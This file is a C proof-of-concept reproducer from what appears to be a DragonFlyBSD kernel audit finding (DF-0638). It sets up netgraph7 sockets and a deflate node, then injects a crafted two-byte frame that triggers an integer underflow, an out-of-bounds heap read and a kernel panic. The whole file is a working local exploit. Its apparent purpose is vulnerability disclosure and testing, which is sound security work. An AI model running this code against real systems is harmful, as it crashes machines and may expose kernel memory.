DragonFlyBSD Kernel Audit
DF-0638 / df0638.c
← back to finding ↓ download raw
/*
 * DF-0638 reproducer: drive netgraph7 ng_deflate's decomp hook with a crafted
 * short PROT_COMPD frame (0x00 0xfd, 2 bytes) to trigger the avail_in integer
 * underflow -> OOB heap read in ng_deflate_decompress().
 *
 * Builds a raw netgraph7 control+data socket client (the base ngctl is for the
 * old netgraph ABI-2 and cannot speak to netgraph7).  Requires the netgraph7
 * core + ng_socket + ng_deflate modules already loaded.
 *
 *   cc -o df0638 df0638.c
 *   ./df0638            # injects the crafted frame -> panic/OOB read
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- netgraph7 ABI (inlined so we don't depend on installed headers) ---- */
#define AF_NETGRAPH2 32            /* AF_NETGRAPH */
#define NG_VERSION        8
#define NGM_GENERIC_COOKIE 1137070366UL
#define NGM_DEFLATE_COOKIE 1166642656UL
#define NG_CONTROL 2
#define NG_DATA    1
#define NG_TYPESIZ 32
#define NG_HOOKSIZ 32
#define NG_NODESIZ 32
#define NG_CMDSTRSIZ 32
#define MY_NGM_MKPEER 2
#define MY_NGM_NAME   4
#define MY_NGM_DEFLATE_CONFIG 1

struct ng_msghdr {
	unsigned char  version;
	unsigned char  spare;
	uint16_t       spare2;
	uint32_t       arglen;
	uint32_t       cmd;
	uint32_t       flags;
	uint32_t       token;
	uint32_t       typecookie;
	unsigned char  cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg { struct ng_msghdr header; char data[]; };
struct ngm_mkpeer { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name   { char name[NG_NODESIZ]; };
struct ng_deflate_config { unsigned char enable; unsigned char windowBits; };
struct sockaddr_ng { unsigned char sg_len; unsigned char sg_family; char sg_data[14]; };


struct sockaddr_ng *
mkaddr(const char *s, int *outlen)
{
	int slen = strlen(s) + 1;		/* data incl. NUL */
	/* netgraph sockaddr: sg_len(1) + sg_family(1 byte) + sg_data(slen) */
	int real_size = 2 + slen;
	struct sockaddr_ng *sa = calloc(1, real_size);
	/* ng_socket reads len = sg_len - 2 as the data length */
	sa->sg_len = (unsigned char)(2 + slen);
	sa->sg_family = (unsigned char)AF_NETGRAPH2;
	memcpy(sa->sg_data, s, slen);
	*outlen = real_size;
	return sa;
}

/* Build + send a control message to <path>. data may be NULL. */
int
send_ctrl(int fd, const char *path, uint32_t cookie, uint32_t cmd,
    const void *data, uint32_t arglen)
{
	int tlen = sizeof(struct ng_mesg) + arglen;
	char *buf = calloc(1, tlen);
	struct ng_mesg *m = (struct ng_mesg *)buf;
	m->header.version = NG_VERSION;
	m->header.arglen  = arglen;
	m->header.cmd     = cmd;
	m->header.flags   = 0;
	m->header.token   = 0xdf0638;
	m->header.typecookie = cookie;
	if (arglen && data)
		memcpy(m->data, data, arglen);
	int alen;
	struct sockaddr_ng *sa = mkaddr(path, &alen);
	int n = sendto(fd, buf, tlen, 0, (struct sockaddr *)sa, alen);
	int e = errno;
	free(buf); free(sa);
	if (n < 0) { fprintf(stderr, "send_ctrl(%s): %s\n", path, strerror(e)); return -1; }
	return 0;
}

int
main(void)
{
	int cfd, dfd, rc;

	setvbuf(stdout, NULL, _IOLBF, 0);
	cfd = socket(AF_NETGRAPH2, SOCK_DGRAM, NG_CONTROL);
	if (cfd < 0) { perror("socket CONTROL"); return 2; }
	printf("control socket fd=%d\n", cfd);

	/* 1) name our control node "dfctl" (unique; data socket connects by name) */
	{	struct ngm_name nm; memset(&nm,0,sizeof(nm)); strncpy(nm.name,"dfctl",sizeof(nm.name));
		int r = send_ctrl(cfd, "", NGM_GENERIC_COOKIE, MY_NGM_NAME, &nm, sizeof(nm));
		printf("name dfctl rc=%d\n", r); }

	/* 2) mkpeer: my hook 'out' <-> new deflate node 'decomp' */
	{	struct ngm_mkpeer mk; memset(&mk,0,sizeof(mk));
		strncpy(mk.type,"deflate",sizeof(mk.type));
		strncpy(mk.ourhook,"out",sizeof(mk.ourhook));
		strncpy(mk.peerhook,"decomp",sizeof(mk.peerhook));
		int r = send_ctrl(cfd, "", NGM_GENERIC_COOKIE, MY_NGM_MKPEER, &mk, sizeof(mk));
		printf("mkpeer rc=%d\n", r); }

	/* 3) configure deflate (enable, windowBits=12) -> inflateInit2 + seqnum=0 */
	{	struct ng_deflate_config cfg; memset(&cfg,0,sizeof(cfg));
		cfg.enable = 1; cfg.windowBits = 12;
		int r = send_ctrl(cfd, "out", NGM_DEFLATE_COOKIE, MY_NGM_DEFLATE_CONFIG, &cfg, sizeof(cfg));
		printf("config rc=%d\n", r); }

	/* 4) open data socket and attach it to node 'dfctl' */
	dfd = socket(AF_NETGRAPH2, SOCK_DGRAM, NG_DATA);
	if (dfd < 0) { perror("socket DATA"); return 2; }
	{	int alen; struct sockaddr_ng *sa = mkaddr("dfctl:", &alen);
		if (connect(dfd, (struct sockaddr *)sa, alen) < 0) { perror("connect DATA"); return 2; }
		free(sa); }
	printf("data socket attached to dfctl\n");

	/* 5) inject the crafted 2-byte PROT_COMPD frame */
	{	unsigned char frame[2] = { 0x00, 0xfd };
		int alen; struct sockaddr_ng *sa = mkaddr("out", &alen);
		printf("DF0638_TRIGGER: injecting 2-byte PROT_COMPD frame\n");
		rc = sendto(dfd, frame, 2, 0, (struct sockaddr *)sa, alen);
		if (rc < 0) perror("sendto data");
		else printf("injected %d bytes\n", rc);
		free(sa); }

	usleep(300000);
	printf("DF0638_DONE (if reached, no panic)\n");
	return 0;
}